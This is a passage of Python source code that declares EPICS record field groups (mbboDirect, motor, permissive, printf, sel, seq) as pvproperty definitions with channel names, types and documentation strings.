enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Twelve Severity", ) twelve_value = pvproperty( name="TVVL", dtype=ChannelType.LONG, doc="Twelve Value" ) two_string = pvproperty( name="TWST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Two String", ) state_two_severity = pvproperty( name="TWSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Two Severity", ) two_value = pvproperty(name="TWVL", dtype=ChannelType.LONG, doc="Two Value") unknown_state_sevr = pvproperty( name="UNSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Unknown State Sevr", ) zero_string = pvproperty( name="ZRST", dtype=ChannelType.CHAR, max_length=26, report_as_string=True, doc="Zero String", ) state_zero_severity = pvproperty( name="ZRSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="State Zero Severity", ) zero_value = pvproperty( name="ZRVL", dtype=ChannelType.LONG, doc="Zero Value" ) # desired_value = pvproperty(name='VAL', # dtype=ChannelType.ENUM, # doc='Desired Value') class MbbodirectFields(RecordFieldGroup): _record_type = "mbboDirect" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_mbboDirect.get_string_tuple(), doc="Device Type", ) bit_0 = pvproperty(name="B0", dtype=ChannelType.CHAR, doc="Bit 0") bit_1 = pvproperty(name="B1", dtype=ChannelType.CHAR, doc="Bit 1") bit_16 = pvproperty(name="B10", dtype=ChannelType.CHAR, doc="Bit 16") bit_17 = pvproperty(name="B11", dtype=ChannelType.CHAR, doc="Bit 17") bit_18 = pvproperty(name="B12", dtype=ChannelType.CHAR, doc="Bit 18") bit_19 = pvproperty(name="B13", dtype=ChannelType.CHAR, doc="Bit 19") bit_20 = pvproperty(name="B14", dtype=ChannelType.CHAR, doc="Bit 20") bit_21 = pvproperty(name="B15", dtype=ChannelType.CHAR, doc="Bit 21") bit_22 = pvproperty(name="B16", dtype=ChannelType.CHAR, doc="Bit 22") bit_23 = pvproperty(name="B17", dtype=ChannelType.CHAR, doc="Bit 23") bit_24 = pvproperty(name="B18", dtype=ChannelType.CHAR, doc="Bit 24") bit_25 = pvproperty(name="B19", dtype=ChannelType.CHAR, doc="Bit 25") bit_26 = pvproperty(name="B1A", dtype=ChannelType.CHAR, doc="Bit 26") bit_27 = pvproperty(name="B1B", dtype=ChannelType.CHAR, doc="Bit 27") bit_28 = pvproperty(name="B1C", dtype=ChannelType.CHAR, doc="Bit 28") bit_29 = pvproperty(name="B1D", dtype=ChannelType.CHAR, doc="Bit 29") bit_30 = pvproperty(name="B1E", dtype=ChannelType.CHAR, doc="Bit 30") bit_31 = pvproperty(name="B1F", dtype=ChannelType.CHAR, doc="Bit 31") bit_2 = pvproperty(name="B2", dtype=ChannelType.CHAR, doc="Bit 2") bit_3 = pvproperty(name="B3", dtype=ChannelType.CHAR, doc="Bit 3") bit_4 = pvproperty(name="B4", dtype=ChannelType.CHAR, doc="Bit 4") bit_5 = pvproperty(name="B5", dtype=ChannelType.CHAR, doc="Bit 5") bit_6 = pvproperty(name="B6", dtype=ChannelType.CHAR, doc="Bit 6") bit_7 = pvproperty(name="B7", dtype=ChannelType.CHAR, doc="Bit 7") bit_8 = pvproperty(name="B8", dtype=ChannelType.CHAR, doc="Bit 8") bit_9 = pvproperty(name="B9", dtype=ChannelType.CHAR, doc="Bit 9") bit_10 = pvproperty(name="BA", dtype=ChannelType.CHAR, doc="Bit 10") bit_11 = pvproperty(name="BB", dtype=ChannelType.CHAR, doc="Bit 11") bit_12 = pvproperty(name="BC", dtype=ChannelType.CHAR, doc="Bit 12") bit_13 = pvproperty(name="BD", dtype=ChannelType.CHAR, doc="Bit 13") bit_14 = pvproperty(name="BE", dtype=ChannelType.CHAR, doc="Bit 14") bit_15 = pvproperty(name="BF", dtype=ChannelType.CHAR, doc="Bit 15") desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) invalid_outpt_action = pvproperty( name="IVOA", dtype=ChannelType.ENUM, enum_strings=menus.menuIvoa.get_string_tuple(), doc="INVALID outpt action", ) invalid_output_value = pvproperty( name="IVOV", dtype=ChannelType.LONG, doc="INVALID output value" ) hardware_mask = pvproperty( name="MASK", dtype=ChannelType.LONG, doc="Hardware Mask", read_only=True ) last_value_monitored = pvproperty( name="MLST", dtype=ChannelType.LONG, doc="Last Value Monitored", read_only=True, ) number_of_bits = pvproperty( name="NOBT", dtype=ChannelType.INT, doc="Number of Bits", read_only=True ) prev_simulation_mode = pvproperty( name="OLDSIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuSimm.get_string_tuple(), doc="Prev. Simulation Mode", read_only=True, ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) prev_raw_value = pvproperty( name="ORAW", dtype=ChannelType.LONG, doc="Prev Raw Value", read_only=True, ) prev_readback_value = pvproperty( name="ORBV", dtype=ChannelType.LONG, doc="Prev Readback Value", read_only=True, ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) readback_value = pvproperty( name="RBV", dtype=ChannelType.LONG, doc="Readback Value", read_only=True ) raw_value = pvproperty( name="RVAL", dtype=ChannelType.LONG, doc="Raw Value", read_only=True ) sim_mode_async_delay = pvproperty( name="SDLY", dtype=ChannelType.DOUBLE, doc="Sim. Mode Async Delay", value=-1.0, ) shift = pvproperty(name="SHFT", dtype=ChannelType.INT, doc="Shift") simulation_mode_link = pvproperty( name="SIML", dtype=ChannelType.STRING, doc="Simulation Mode Link" ) simulation_mode = pvproperty( name="SIMM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Simulation Mode", ) simulation_mode_severity = pvproperty( name="SIMS", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="Simulation Mode Severity", ) simulation_output_link = pvproperty( name="SIOL", dtype=ChannelType.STRING, doc="Simulation Output Link" ) sim_mode_scan = pvproperty( name="SSCN", dtype=ChannelType.ENUM, enum_strings=menus.menuScan.get_string_tuple(), doc="Sim. Mode Scan", value=0, ) # word = pvproperty(name='VAL', # dtype=ChannelType.LONG, # doc='Word') class MotorFields(RecordFieldGroup, _Limits): _record_type = "motor" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_motor.get_string_tuple(), doc="Device Type", ) seconds_to_velocity = pvproperty( name="ACCL", dtype=ChannelType.DOUBLE, doc="Seconds to Velocity", value=0.2, ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) at_home = pvproperty( name="ATHM", dtype=ChannelType.INT, doc="At HOME", read_only=True ) bl_seconds_to_velocity = pvproperty( name="BACC", dtype=ChannelType.DOUBLE, doc="BL Seconds to Velocity", value=0.5, ) bl_distance = pvproperty( name="BDST", dtype=ChannelType.DOUBLE, doc="BL Distance (EGU)" ) bl_velocity = pvproperty( name="BVEL", dtype=ChannelType.DOUBLE, doc="BL Velocity (EGU/s)" ) card_number = pvproperty( name="CARD", dtype=ChannelType.INT, doc="Card Number", read_only=True ) raw_cmnd_direction = pvproperty( name="CDIR", dtype=ChannelType.INT, doc="Raw cmnd direction", read_only=True, ) enable_control = pvproperty( name="CNEN", dtype=ChannelType.ENUM, enum_strings=menus.motorTORQ.get_string_tuple(), doc="Enable control", ) derivative_gain = pvproperty( name="DCOF", dtype=ChannelType.DOUBLE, doc="Derivative Gain", value=0 ) dial_high_limit = pvproperty( name="DHLM", dtype=ChannelType.DOUBLE, doc="Dial High Limit" ) difference_dval_drbv = pvproperty( name="DIFF", dtype=ChannelType.DOUBLE, doc="Difference dval-drbv", read_only=True, ) dmov_input_link = pvproperty( name="DINP", dtype=ChannelType.STRING, doc="DMOV Input Link" ) user_direction = pvproperty( name="DIR", dtype=ChannelType.ENUM, enum_strings=menus.motorDIR.get_string_tuple(), doc="User Direction", ) dial_low_limit = pvproperty( name="DLLM", dtype=ChannelType.DOUBLE, doc="Dial Low Limit" ) readback_settle_time = pvproperty( name="DLY", dtype=ChannelType.DOUBLE, doc="Readback settle time (s)" ) done_moving_to_value = pvproperty( name="DMOV", dtype=ChannelType.INT, doc="Done moving to value", read_only=True, value=1, ) desired_output_loc = pvproperty( name="DOL", dtype=ChannelType.STRING, doc="Desired Output Loc" ) dial_readback_value = pvproperty( name="DRBV", dtype=ChannelType.DOUBLE, doc="Dial Readback Value", read_only=True, ) dial_desired_value = pvproperty( name="DVAL", dtype=ChannelType.DOUBLE, doc="Dial Desired Value (EGU" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) encoder_step_size = pvproperty( name="ERES", dtype=ChannelType.DOUBLE, doc="Encoder Step Size (EGU)" ) freeze_offset = pvproperty( name="FOF", dtype=ChannelType.INT, doc="Freeze Offset" ) offset_freeze_switch = pvproperty( name="FOFF", dtype=ChannelType.ENUM, enum_strings=menus.motorFOFF.get_string_tuple(), doc="Offset-Freeze Switch", ) move_fraction = pvproperty( name="FRAC", dtype=ChannelType.FLOAT, doc="Move Fraction", value=1 ) user_high_limit = pvproperty( name="HLM", dtype=ChannelType.DOUBLE, doc="User High Limit" ) user_high_limit_switch = pvproperty( name="HLS", dtype=ChannelType.INT, doc="User High Limit Switch", read_only=True, ) hw_limit_violation_svr = pvproperty( name="HLSV", dtype=ChannelType.ENUM, enum_strings=menus.menuAlarmSevr.get_string_tuple(), doc="HW Limit Violation Svr", ) home_forward = pvproperty( name="HOMF", dtype=ChannelType.INT, doc="Home Forward" ) home_reverse = pvproperty( name="HOMR", dtype=ChannelType.INT, doc="Home Reverse" ) home_velocity = pvproperty( name="HVEL", dtype=ChannelType.DOUBLE, doc="Home Velocity (EGU/s)" ) integral_gain = pvproperty( name="ICOF", dtype=ChannelType.DOUBLE, doc="Integral Gain", value=0 ) ignore_set_field = pvproperty( name="IGSET", dtype=ChannelType.INT, doc="Ignore SET field" ) startup_commands = pvproperty( name="INIT", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Startup commands", ) jog_accel = pvproperty( name="JAR", dtype=ChannelType.DOUBLE, doc="Jog Accel. (EGU/s^2)" ) jog_motor_forward = pvproperty( name="JOGF", dtype=ChannelType.INT, doc="Jog motor Forward" ) jog_motor_reverse = pvproperty( name="JOGR", dtype=ChannelType.INT, doc="Jog motor Reverse" ) jog_velocity = pvproperty( name="JVEL", dtype=ChannelType.DOUBLE, doc="Jog Velocity (EGU/s)" ) last_dial_des_val = pvproperty( name="LDVL", dtype=ChannelType.DOUBLE, doc="Last Dial Des Val (EGU)", read_only=True, ) user_low_limit = pvproperty( name="LLM", dtype=ChannelType.DOUBLE, doc="User Low Limit" ) user_low_limit_switch = pvproperty( name="LLS", dtype=ChannelType.INT, doc="User Low Limit Switch", read_only=True, ) soft_channel_position_lock = pvproperty( name="LOCK", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="Soft Channel Position Lock", value="NO", ) last_rel_value = pvproperty( name="LRLV", dtype=ChannelType.DOUBLE, doc="Last Rel Value (EGU)", read_only=True, ) last_raw_des_val = pvproperty( name="LRVL", dtype=ChannelType.LONG, doc="Last Raw Des Val (steps", read_only=True, ) last_spmg = pvproperty( name="LSPG", dtype=ChannelType.ENUM, enum_strings=menus.motorSPMG.get_string_tuple(), doc="Last SPMG", read_only=True, value=3, ) last_user_des_val = pvproperty( name="LVAL", dtype=ChannelType.DOUBLE, doc="Last User Des Val (EGU)", read_only=True, ) limit_violation = pvproperty( name="LVIO", dtype=ChannelType.INT, doc="Limit violation", read_only=True, value=1, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) motion_in_progress = pvproperty( name="MIP", dtype=ChannelType.INT, doc="Motion In Progress", read_only=True, ) ran_out_of_retries = pvproperty( name="MISS", dtype=ChannelType.INT, doc="Ran out of retries", read_only=True, ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) monitor_mask = pvproperty( name="MMAP", dtype=ChannelType.LONG, doc="Monitor Mask", read_only=True ) motor_is_moving = pvproperty( name="MOVN", dtype=ChannelType.INT, doc="Motor is moving", read_only=True, ) motor_step_size = pvproperty( name="MRES", dtype=ChannelType.DOUBLE, doc="Motor Step Size (EGU)" ) motor_status = pvproperty( name="MSTA", dtype=ChannelType.LONG, doc="Motor Status", read_only=True ) monitor_mask_more = pvproperty( name="NMAP", dtype=ChannelType.LONG, doc="Monitor Mask (more)", read_only=True, ) new_target_monitor = pvproperty( name="NTM", dtype=ChannelType.ENUM, enum_strings=menus.menuYesNo.get_string_tuple(), doc="New Target Monitor", value="YES", ) ntm_deadband_factor = pvproperty( name="NTMF", dtype=ChannelType.INT, doc="NTM Deadband Factor", value=2 ) user_offset = pvproperty( name="OFF", dtype=ChannelType.DOUBLE, doc="User Offset (EGU)" ) output_mode_select = pvproperty( name="OMSL", dtype=ChannelType.ENUM, enum_strings=menus.menuOmsl.get_string_tuple(), doc="Output Mode Select", ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) proportional_gain = pvproperty( name="PCOF", dtype=ChannelType.DOUBLE, doc="Proportional Gain", value=0 ) post_move_commands = pvproperty( name="POST", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Post-move commands", ) post_process_command = pvproperty( name="PP", dtype=ChannelType.INT, doc="Post process command", read_only=True, value=0, ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) pre_move_commands = pvproperty( name="PREM", dtype=ChannelType.CHAR, max_length=40, report_as_string=True, doc="Pre-move commands", ) user_readback_value = pvproperty( name="RBV", dtype=ChannelType.DOUBLE, doc="User Readback Value", read_only=True, ) retry_count = pvproperty( name="RCNT", dtype=ChannelType.INT, doc="Retry count", read_only=True ) retry_deadband = pvproperty( name="RDBD", dtype=ChannelType.DOUBLE, doc="Retry Deadband (EGU)" ) readback_location = pvproperty( name="RDBL", dtype=ChannelType.STRING, doc="Readback Location" ) difference_rval_rrbv = pvproperty( name="RDIF", dtype=ChannelType.LONG, doc="Difference rval-rrbv", read_only=True, ) raw_encoder_position = pvproperty( name="REP", dtype=ChannelType.LONG, doc="Raw Encoder Position", read_only=True, ) raw_high_limit_switch = pvproperty( name="RHLS", dtype=ChannelType.INT, doc="Raw High Limit Switch", read_only=True, ) rmp_input_link = pvproperty( name="RINP", dtype=ChannelType.STRING, doc="RMP Input Link" ) raw_low_limit_switch = pvproperty( name="RLLS", dtype=ChannelType.INT, doc="Raw Low Limit Switch", read_only=True, ) readback_outlink = pvproperty( name="RLNK", dtype=ChannelType.STRING, doc="Readback OutLink" ) relative_value = pvproperty( name="RLV", dtype=ChannelType.DOUBLE, doc="Relative Value (EGU)" ) retry_mode = pvproperty( name="RMOD", dtype=ChannelType.ENUM, enum_strings=menus.motorRMOD.get_string_tuple(), doc="Retry Mode", value="Default", ) raw_motor_position = pvproperty( name="RMP", dtype=ChannelType.LONG, doc="Raw Motor Position", read_only=True, ) raw_readback_value = pvproperty( name="RRBV", dtype=ChannelType.LONG, doc="Raw Readback Value", read_only=True, ) readback_step_size = pvproperty( name="RRES", dtype=ChannelType.DOUBLE, doc="Readback Step Size (EGU" ) max_retry_count = pvproperty( name="RTRY", dtype=ChannelType.INT, doc="Max retry count", value=10 ) raw_desired_value = pvproperty( name="RVAL", dtype=ChannelType.LONG, doc="Raw Desired Value (step" ) raw_velocity = pvproperty( name="RVEL", dtype=ChannelType.LONG, doc="Raw Velocity", read_only=True ) speed = pvproperty( name="S", dtype=ChannelType.DOUBLE, doc="Speed (revolutions/sec)" ) bl_speed = pvproperty( name="SBAK", dtype=ChannelType.DOUBLE, doc="BL Speed (RPS)" ) base_speed = pvproperty( name="SBAS", dtype=ChannelType.DOUBLE, doc="Base Speed (RPS)" ) set_use_switch = pvproperty( name="SET", dtype=ChannelType.ENUM, enum_strings=menus.motorSET.get_string_tuple(), doc="Set/Use Switch", ) max_speed = pvproperty( name="SMAX", dtype=ChannelType.DOUBLE, doc="Max. Speed (RPS)" ) setpoint_deadband = pvproperty( name="SPDB", dtype=ChannelType.DOUBLE, doc="Setpoint Deadband (EGU)" ) stop_pause_move_go = pvproperty( name="SPMG", dtype=ChannelType.ENUM, enum_strings=menus.motorSPMG.get_string_tuple(), doc="Stop/Pause/Move/Go", value=3, ) steps_per_revolution = pvproperty( name="SREV", dtype=ChannelType.LONG, doc="Steps per Revolution", value=200, ) set_set_mode = pvproperty( name="SSET", dtype=ChannelType.INT, doc="Set SET Mode" ) stop_outlink = pvproperty( name="STOO", dtype=ChannelType.STRING, doc="STOP OutLink" ) stop = pvproperty(name="STOP", dtype=ChannelType.INT, doc="Stop") status_update = pvproperty( name="STUP", dtype=ChannelType.ENUM, enum_strings=menus.motorSTUP.get_string_tuple(), doc="Status Update", value="OFF", ) set_use_mode = pvproperty( name="SUSE", dtype=ChannelType.INT, doc="Set USE Mode" ) sync_position = pvproperty( name="SYNC", dtype=ChannelType.INT, doc="Sync position" ) direction_of_travel = pvproperty( name="TDIR", dtype=ChannelType.INT, doc="Direction of Travel", read_only=True, ) tweak_motor_forward = pvproperty( name="TWF", dtype=ChannelType.INT, doc="Tweak motor Forward" ) tweak_motor_reverse = pvproperty( name="TWR", dtype=ChannelType.INT, doc="Tweak motor Reverse" ) tweak_step_size = pvproperty( name="TWV", dtype=ChannelType.DOUBLE, doc="Tweak Step Size (EGU)" ) use_encoder_if_present = pvproperty( name="UEIP", dtype=ChannelType.ENUM, enum_strings=menus.motorUEIP.get_string_tuple(), doc="Use Encoder If Present", ) egu_s_per_revolution = pvproperty( name="UREV", dtype=ChannelType.DOUBLE, doc="EGU's per Revolution" ) use_rdbl_link_if_presen = pvproperty( name="URIP", dtype=ChannelType.ENUM, enum_strings=menus.motorUEIP.get_string_tuple(), doc="Use RDBL Link If Presen", ) base_velocity = pvproperty( name="VBAS", dtype=ChannelType.DOUBLE, doc="Base Velocity (EGU/s)" ) velocity = pvproperty( name="VELO", dtype=ChannelType.DOUBLE, doc="Velocity (EGU/s)" ) code_version = pvproperty( name="VERS", dtype=ChannelType.FLOAT, doc="Code Version", read_only=True, value=1, ) max_velocity = pvproperty( name="VMAX", dtype=ChannelType.DOUBLE, doc="Max. Velocity (EGU/s)" ) variable_offset = pvproperty( name="VOF", dtype=ChannelType.INT, doc="Variable Offset" ) # user_desired_value = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='User Desired Value (EGU') link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class PermissiveFields(RecordFieldGroup): _record_type = "permissive" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_permissive.get_string_tuple(), doc="Device Type", ) button_label = pvproperty( name="LABL", dtype=ChannelType.CHAR, max_length=20, report_as_string=True, doc="Button Label", ) old_flag = pvproperty( name="OFLG", dtype=ChannelType.INT, doc="Old Flag", read_only=True ) old_status = pvproperty( name="OVAL", dtype=ChannelType.INT, doc="Old Status", read_only=True ) wait_flag = pvproperty(name="WFLG", dtype=ChannelType.INT, doc="Wait Flag") # status = pvproperty(name='VAL', # dtype=ChannelType.INT, # doc='Status') class PrintfFields(RecordFieldGroup): _record_type = "printf" _dtype = None # DTYP of .VAL has_val_field = False copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_printf.get_string_tuple(), doc="Device Type", ) format_string = pvproperty( name="FMT", dtype=ChannelType.CHAR, max_length=81, report_as_string=True, doc="Format String", ) input_0 = pvproperty(name="INP0", dtype=ChannelType.STRING, doc="Input 0") input_1 = pvproperty(name="INP1", dtype=ChannelType.STRING, doc="Input 1") input_2 = pvproperty(name="INP2", dtype=ChannelType.STRING, doc="Input 2") input_3 = pvproperty(name="INP3", dtype=ChannelType.STRING, doc="Input 3") input_4 = pvproperty(name="INP4", dtype=ChannelType.STRING, doc="Input 4") input_5 = pvproperty(name="INP5", dtype=ChannelType.STRING, doc="Input 5") input_6 = pvproperty(name="INP6", dtype=ChannelType.STRING, doc="Input 6") input_7 = pvproperty(name="INP7", dtype=ChannelType.STRING, doc="Input 7") input_8 = pvproperty(name="INP8", dtype=ChannelType.STRING, doc="Input 8") input_9 = pvproperty(name="INP9", dtype=ChannelType.STRING, doc="Input 9") invalid_link_string = pvproperty( name="IVLS", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Invalid Link String", value="LNK", ) length_of_val = pvproperty( name="LEN", dtype=ChannelType.LONG, doc="Length of VAL", read_only=True ) output_specification = pvproperty( name="OUT", dtype=ChannelType.STRING, doc="Output Specification" ) size_of_val_buffer = pvproperty( name="SIZV", dtype=ChannelType.INT, doc="Size of VAL buffer", read_only=True, value=41, ) class SelFields(RecordFieldGroup, _Limits): _record_type = "sel" _dtype = ChannelType.DOUBLE # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup, _Limits) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_sel.get_string_tuple(), doc="Device Type", ) value_of_input_a = pvproperty( name="A", dtype=ChannelType.DOUBLE, doc="Value of Input A" ) archive_deadband = pvproperty( name="ADEL", dtype=ChannelType.DOUBLE, doc="Archive Deadband" ) last_value_archived = pvproperty( name="ALST", dtype=ChannelType.DOUBLE, doc="Last Value Archived", read_only=True, ) value_of_input_b = pvproperty( name="B", dtype=ChannelType.DOUBLE, doc="Value of Input B" ) value_of_input_c = pvproperty( name="C", dtype=ChannelType.DOUBLE, doc="Value of Input C" ) value_of_input_d = pvproperty( name="D", dtype=ChannelType.DOUBLE, doc="Value of Input D" ) value_of_input_e = pvproperty( name="E", dtype=ChannelType.DOUBLE, doc="Value of Input E" ) engineering_units = pvproperty( name="EGU", dtype=ChannelType.CHAR, max_length=16, report_as_string=True, doc="Engineering Units", ) value_of_input_f = pvproperty( name="F", dtype=ChannelType.DOUBLE, doc="Value of Input F" ) value_of_input_g = pvproperty( name="G", dtype=ChannelType.DOUBLE, doc="Value of Input G" ) value_of_input_h = pvproperty( name="H", dtype=ChannelType.DOUBLE, doc="Value of Input H" ) alarm_deadband = pvproperty( name="HYST", dtype=ChannelType.DOUBLE, doc="Alarm Deadband" ) value_of_input_i = pvproperty( name="I", dtype=ChannelType.DOUBLE, doc="Value of Input I" ) input_a = pvproperty(name="INPA", dtype=ChannelType.STRING, doc="Input A") input_b = pvproperty(name="INPB", dtype=ChannelType.STRING, doc="Input B") input_c = pvproperty(name="INPC", dtype=ChannelType.STRING, doc="Input C") input_d = pvproperty(name="INPD", dtype=ChannelType.STRING, doc="Input D") input_e = pvproperty(name="INPE", dtype=ChannelType.STRING, doc="Input E") input_f = pvproperty(name="INPF", dtype=ChannelType.STRING, doc="Input F") input_g = pvproperty(name="INPG", dtype=ChannelType.STRING, doc="Input G") input_h = pvproperty(name="INPH", dtype=ChannelType.STRING, doc="Input H") input_i = pvproperty(name="INPI", dtype=ChannelType.STRING, doc="Input I") input_j = pvproperty(name="INPJ", dtype=ChannelType.STRING, doc="Input J") input_k = pvproperty(name="INPK", dtype=ChannelType.STRING, doc="Input K") input_l = pvproperty(name="INPL", dtype=ChannelType.STRING, doc="Input L") value_of_input_j = pvproperty( name="J", dtype=ChannelType.DOUBLE, doc="Value of Input J" ) value_of_input_k = pvproperty( name="K", dtype=ChannelType.DOUBLE, doc="Value of Input K" ) value_of_input_l = pvproperty( name="L", dtype=ChannelType.DOUBLE, doc="Value of Input L" ) prev_value_of_a = pvproperty( name="LA", dtype=ChannelType.DOUBLE, doc="Prev Value of A", read_only=True, ) last_value_alarmed = pvproperty( name="LALM", dtype=ChannelType.DOUBLE, doc="Last Value Alarmed", read_only=True, ) prev_value_of_b = pvproperty( name="LB", dtype=ChannelType.DOUBLE, doc="Prev Value of B", read_only=True, ) prev_value_of_c = pvproperty( name="LC", dtype=ChannelType.DOUBLE, doc="Prev Value of C", read_only=True, ) prev_value_of_d = pvproperty( name="LD", dtype=ChannelType.DOUBLE, doc="Prev Value of D", read_only=True, ) prev_value_of_e = pvproperty( name="LE", dtype=ChannelType.DOUBLE, doc="Prev Value of E", read_only=True, ) prev_value_of_f = pvproperty( name="LF", dtype=ChannelType.DOUBLE, doc="Prev Value of F", read_only=True, ) prev_value_of_g = pvproperty( name="LG", dtype=ChannelType.DOUBLE, doc="Prev Value of G", read_only=True, ) prev_value_of_h = pvproperty( name="LH", dtype=ChannelType.DOUBLE, doc="Prev Value of H", read_only=True, ) prev_value_of_i = pvproperty( name="LI", dtype=ChannelType.DOUBLE, doc="Prev Value of I", read_only=True, ) prev_value_of_j = pvproperty( name="LJ", dtype=ChannelType.DOUBLE, doc="Prev Value of J", read_only=True, ) prev_value_of_k = pvproperty( name="LK", dtype=ChannelType.DOUBLE, doc="Prev Value of K", read_only=True, ) prev_value_of_l = pvproperty( name="LL", dtype=ChannelType.DOUBLE, doc="Prev Value of L", read_only=True, ) monitor_deadband = pvproperty( name="MDEL", dtype=ChannelType.DOUBLE, doc="Monitor Deadband" ) last_val_monitored = pvproperty( name="MLST", dtype=ChannelType.DOUBLE, doc="Last Val Monitored", read_only=True, ) last_index_monitored = pvproperty( name="NLST", dtype=ChannelType.INT, doc="Last Index Monitored", read_only=True, ) index_value_location = pvproperty( name="NVL", dtype=ChannelType.STRING, doc="Index Value Location" ) display_precision = pvproperty( name="PREC", dtype=ChannelType.INT, doc="Display Precision" ) select_mechanism = pvproperty( name="SELM", dtype=ChannelType.ENUM, enum_strings=menus.selSELM.get_string_tuple(), doc="Select Mechanism", ) index_value = pvproperty( name="SELN", dtype=ChannelType.INT, doc="Index value" ) # result = pvproperty(name='VAL', # dtype=ChannelType.DOUBLE, # doc='Result',read_only=True) link_parent_attribute( display_precision, "precision", ) link_parent_attribute(archive_deadband, "log_atol", use_setattr=True) link_parent_attribute(monitor_deadband, "value_atol", use_setattr=True) class SeqFields(RecordFieldGroup): _record_type = "seq" _dtype = ChannelType.LONG # DTYP of .VAL has_val_field = True copy_pvproperties(locals(), RecordFieldGroup) device_type = pvproperty( name="DTYP", dtype=ChannelType.ENUM, enum_strings=menus.dtyp_seq.get_string_tuple(), doc="Device Type", ) delay_0 = pvproperty(name="DLY0", dtype=ChannelType.DOUBLE, doc="Delay 0") delay_1 = pvproperty(name="DLY1", dtype=ChannelType.DOUBLE, doc="Delay 1") delay_2 = pvproperty(name="DLY2", dtype=ChannelType.DOUBLE, doc="Delay 2") delay_3 = pvproperty(name="DLY3", dtype=ChannelType.DOUBLE, doc="Delay 3") delay_4 = pvproperty(name="DLY4", dtype=ChannelType.DOUBLE, doc="Delay 4") delay_5 = pvproperty(name="DLY5", dtype=ChannelType.DOUBLE, doc="Delay 5") delay_6 = pvproperty(name="DLY6", dtype=ChannelType.DOUBLE, doc="Delay 6") delay_7 = pvproperty(name="DLY7", dtype=ChannelType.DOUBLE, doc="Delay 7") delay_8 = pvproperty(name="DLY8", dtype=ChannelType.DOUBLE, doc="Delay 8") delay_9 = pvproperty(name="DLY9", dtype=ChannelType.DOUBLE, doc="Delay 9") delay_10 = pvproperty(name="DLYA", dtype=ChannelType.DOUBLE, doc="Delay 10") delay_11 = pvproperty(name="DLYB", dtype=ChannelType.DOUBLE, doc="Delay 11") delay_12 = pvproperty(name="DLYC", dtype=ChannelType.DOUBLE, doc="Delay 12") delay_13 = pvproperty(name="DLYD", dtype=ChannelType.DOUBLE, doc="Delay 13") delay_14 = pvproperty(name="DLYE", dtype=ChannelType.DOUBLE, doc="Delay 14") delay_15 = pvproperty(name="DLYF", dtype=ChannelType.DOUBLE, doc="Delay 15") value_0 = pvproperty(name="DO0", dtype=ChannelType.DOUBLE, doc="Value 0") value_1 = pvproperty(name="DO1", dtype=ChannelType.DOUBLE, doc="Value 1") value_2 = pvproperty(name="DO2", dtype=ChannelType.DOUBLE, doc="Value 2") value_3 = pvproperty(name="DO3", dtype=ChannelType.DOUBLE, doc="Value 3") value_4 = pvproperty(name="DO4", dtype=ChannelType.DOUBLE, doc="Value 4") value_5 = pvproperty(name="DO5", dtype=ChannelType.DOUBLE, doc="Value 5") value_6 = pvproperty(name="DO6", dtype=ChannelType.DOUBLE, doc="Value 6") value_7 = pvproperty(name="DO7", dtype=ChannelType.DOUBLE, doc="Value 7") value_8 = pvproperty(name="DO8", dtype=ChannelType.DOUBLE, doc="Value 8") value_9 = pvproperty(name="DO9", dtype=ChannelType.DOUBLE, doc="Value 9") value_10 = pvproperty(name="DOA", dtype=ChannelType.DOUBLE, doc="Value 10") value_11 = pvproperty(name="DOB", dtype=ChannelType.DOUBLE, doc="Value 11") value_12 = pvproperty(name="DOC", dtype=ChannelType.DOUBLE, doc="Value 12") value_13 = pvproperty(name="DOD", dtype=ChannelType.DOUBLE, doc="Value 13") value_14 = pvproperty(name="DOE", dtype=ChannelType.DOUBLE, doc="Value 14") value_15 = 